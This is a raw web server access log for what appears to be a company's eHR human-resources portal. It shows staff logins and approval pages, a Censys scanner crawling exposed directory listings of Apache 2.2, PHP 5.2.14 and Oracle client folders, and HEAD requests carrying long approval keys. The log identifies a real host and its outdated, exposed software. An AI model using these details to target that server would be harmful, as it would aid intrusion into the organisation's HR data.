192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10037
100.64.0.1 - - [04/Sep/2025:08:24:12 +0800] "GET / HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [04/Sep/2025:08:24:12 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:08:24:17 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:17 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:08:24:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:08:24:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:19 +0800] "PRI * HTTP/2.0" 400 226
100.64.0.1 - - [04/Sep/2025:08:24:19 +0800] "PRI * HTTP/2.0" 400 226 "-" "-"
100.64.0.1 - - [04/Sep/2025:08:24:23 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:08:24:24 +0800] "GET /eHR1 HTTP/1.1" 301 240
100.64.0.1 - - [04/Sep/2025:08:24:24 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:25 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [04/Sep/2025:08:24:25 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:25 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266
100.64.0.1 - - [04/Sep/2025:08:24:25 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:26 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [04/Sep/2025:08:24:26 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276
100.64.0.1 - - [04/Sep/2025:08:24:26 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 276 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [04/Sep/2025:08:24:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284
100.64.0.1 - - [04/Sep/2025:08:24:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247
100.64.0.1 - - [04/Sep/2025:08:24:28 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/cgi-bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:29 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:29 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin HTTP/1.1" 301 280
100.64.0.1 - - [04/Sep/2025:08:24:29 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:29 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889
100.64.0.1 - - [04/Sep/2025:08:24:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv HTTP/1.1" 301 286
100.64.0.1 - - [04/Sep/2025:08:24:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845
100.64.0.1 - - [04/Sep/2025:08:24:30 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/bin/iconv" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 284
100.64.0.1 - - [04/Sep/2025:08:24:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules HTTP/1.1" 301 284 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/modules" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/modules/ HTTP/1.1" 200 4219
100.64.0.1 - - [04/Sep/2025:08:24:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:31 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 282
100.64.0.1 - - [04/Sep/2025:08:24:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449
100.64.0.1 - - [04/Sep/2025:08:24:32 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 288 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small HTTP/1.1" 301 288
100.64.0.1 - - [04/Sep/2025:08:24:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/icons/small" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:33 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/small/ HTTP/1.1" 200 3219
100.64.0.1 - - [04/Sep/2025:08:24:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf HTTP/1.1" 301 281
100.64.0.1 - - [04/Sep/2025:08:24:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777
100.64.0.1 - - [04/Sep/2025:08:24:34 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/conf/ HTTP/1.1" 200 777 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/conf" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual HTTP/1.1" 301 283
100.64.0.1 - - [04/Sep/2025:08:24:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/manual" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:35 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/manual/ HTTP/1.1" 200 758
100.64.0.1 - - [04/Sep/2025:08:24:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 281
100.64.0.1 - - [04/Sep/2025:08:24:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 15401 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/logs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:36 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 15401
100.64.0.1 - - [04/Sep/2025:08:24:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs HTTP/1.1" 301 283
100.64.0.1 - - [04/Sep/2025:08:24:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44
100.64.0.1 - - [04/Sep/2025:08:24:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/htdocs/ HTTP/1.1" 200 44 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/htdocs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 282
100.64.0.1 - - [04/Sep/2025:08:24:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://202.111.43.170:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:39 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877
100.64.0.1 - - [04/Sep/2025:08:24:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283
100.64.0.1 - - [04/Sep/2025:08:24:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:40 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217
100.64.0.1 - - [04/Sep/2025:08:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:41 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 274
100.64.0.1 - - [04/Sep/2025:08:24:42 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099 "http://202.111.43.170:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:42 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099
100.64.0.1 - - [04/Sep/2025:08:24:43 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290
100.64.0.1 - - [04/Sep/2025:08:24:43 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:43 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:43 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399
100.64.0.1 - - [04/Sep/2025:08:24:43 +0800] "GET /idcard HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:43 +0800] "GET /idcard HTTP/1.1" 301 242
100.64.0.1 - - [04/Sep/2025:08:24:47 +0800] "PRI * HTTP/2.0" 400 226 "-" "-"
100.64.0.1 - - [04/Sep/2025:08:24:47 +0800] "PRI * HTTP/2.0" 400 226
100.64.0.1 - - [04/Sep/2025:08:24:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:08:24:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:24:49 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 222
100.64.0.1 - - [04/Sep/2025:08:24:49 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 222 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:08:25:26 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:08:25:26 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:08:27:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:08:27:01 +0800] "GET / HTTP/1.1" 200 439
192.168.11.127 - - [04/Sep/2025:08:30:45 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:30:45 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.127 - - [04/Sep/2025:08:31:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:31:17 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.127 - - [04/Sep/2025:08:31:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510
192.168.11.127 - - [04/Sep/2025:08:31:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:31:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550
192.168.11.127 - - [04/Sep/2025:08:31:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:08:32:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:08:32:29 +0800] "GET / HTTP/1.1" 200 439
192.168.11.127 - - [04/Sep/2025:08:33:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14604 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:33:20 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 14604
192.168.11.127 - - [04/Sep/2025:08:33:35 +0800] "GET /eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg?&openW=Y&rand=0.24332719009931303 HTTP/1.1" 200 186986 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:33:35 +0800] "GET /eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg?&openW=Y&rand=0.24332719009931303 HTTP/1.1" 200 186986
192.168.11.127 - - [04/Sep/2025:08:33:35 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.11.127 - - [04/Sep/2025:08:33:35 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.83:8088/eHR/upload/userfile/1eaaadfc43c5fcb1364535089fe4318c.jpg?&openW=Y&rand=0.24332719009931303" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:34:03 +0800] "GET /eHR/upload/userfile/0449a5cc4782bc4d8704b83bb29ec37a.jpg?&openW=Y&rand=0.7823833982987358 HTTP/1.1" 200 5587356 "http://hcp.maglayers.com.cn:8088/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.127 - - [04/Sep/2025:08:34:03 +0800] "GET /eHR/upload/userfile/0449a5cc4782bc4d8704b83bb29ec37a.jpg?&openW=Y&rand=0.7823833982987358 HTTP/1.1" 200 5587356
192.168.11.127 - - [04/Sep/2025:08:34:42 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4787
192.168.11.127 - - [04/Sep/2025:08:34:42 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4787 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:08:37:12 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:08:37:12 +0800] "GET / HTTP/1.1" 200 439
192.168.12.33 - - [04/Sep/2025:08:38:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.12.33 - - [04/Sep/2025:08:38:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [04/Sep/2025:08:38:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [04/Sep/2025:08:38:47 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.33 - - [04/Sep/2025:08:38:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.33 - - [04/Sep/2025:08:38:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [04/Sep/2025:08:38:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.12.33 - - [04/Sep/2025:08:38:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [04/Sep/2025:08:38:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.12.33 - - [04/Sep/2025:08:38:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:08:39:23 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1D14CB89894C1446CA1AC9E311DCEE7D2D352C5B12CE4483706E259ED534CF358099428FFC4AE1A75DA45F73E2F9EEFE188BC6D9FE0BFE704 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [04/Sep/2025:08:39:23 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1D14CB89894C1446CA1AC9E311DCEE7D2D352C5B12CE4483706E259ED534CF358099428FFC4AE1A75DA45F73E2F9EEFE188BC6D9FE0BFE704 HTTP/1.1" 200 -
100.64.0.1 - - [04/Sep/2025:08:39:26 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1D14CB89894C1446CA1AC9E311DCEE7D2D352C5B12CE44837B5AC89035E52867CC1E616E658FC426E38FEF34BD146B395DBCD221C66068B83 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [04/Sep/2025:08:39:26 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1D14CB89894C1446CA1AC9E311DCEE7D2D352C5B12CE44837B5AC89035E52867CC1E616E658FC426E38FEF34BD146B395DBCD221C66068B83 HTTP/1.1" 200 -
